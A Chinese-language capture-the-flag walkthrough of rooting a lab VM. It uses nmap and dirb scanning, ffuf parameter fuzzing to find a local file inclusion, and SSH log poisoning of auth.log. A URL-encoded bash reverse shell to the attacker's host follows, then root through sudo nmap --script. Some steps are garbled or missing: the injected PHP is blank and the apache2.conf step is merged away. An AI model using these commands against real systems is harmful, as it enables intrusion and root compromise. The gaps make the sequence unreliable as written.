nmap扫描----dirb扫描网站目录----ffuf爆破url参数----利用auth.log和LFI获得反弹shell----修改/etc/apache2/apache2.conf获得mahakal的shell----sudo nmap提权
环境信息:靶机:192.168.101.78
攻击机:192.168.101.34
具体步骤: 1、nmap扫描sudo nmap -sV -sC -p- 192.168.101.78
dirb http://192.168.101.78
扫描到目录http://192.168.101.78/console/
浏览器访问该目录,发现文件file.php
直觉告诉我这里可能有文件包含漏洞
3、ffuf爆破url参数ffuf -u 'http://192.168.101.78/console/file.php?FUZZ=../../../../etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0
其中FUZZ为需要暴力破解的参数名的占位字符串
爆破出参数名file
浏览器访问http://192.168.101.78/console/file.php?file=../../../../etc/passwd
可以看到靶机的/etc/passwd文件内容
浏览器访问http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log,发现有访问权限
尝试用natraj进行ssh登录,并输入错误的密码(正确密码反正也不知道)
ssh natraj@192.168.101.78
然后再用浏览器访问http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log,发现/var/log/auth.log中记录了ssh登录的用户名
所以可以在ssh登录的时候将php代码作为用户名插入,这样php代码就会被写入/var/log/auth.log,而利用网站本地文件包含漏洞包含/var/log/auth.log时就会触发写入的php代码执行。
ssh登录靶机,用户名为"",密码随便输
ssh ""@192.168.101.78
浏览器访问http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log&xiannv=id
可以得到id命令的执行结果,表明插入的php代码有效
接下来在攻击机上监听8888端口
nc -nlvp 8888
然后在浏览器中访问
http://192.168.101.78/console/file.php?file=../../../../var/log/auth.log&xiannv=bash%20-c%20%27exec%20bash%20-i%20%26%3E%2Fdev%2Ftcp%2F192.168.101.34%2F8888%20%3C%261%27
其中xiannv的参数值url编码前为bash -c 'exec bash -i &>/dev/tcp/192.168.101.34/8888 $TF mahakal@ubuntu:/var/www/html/console$ sudo nmap --script=$TF
获得root用户的shell
找到proof:/root/root.txt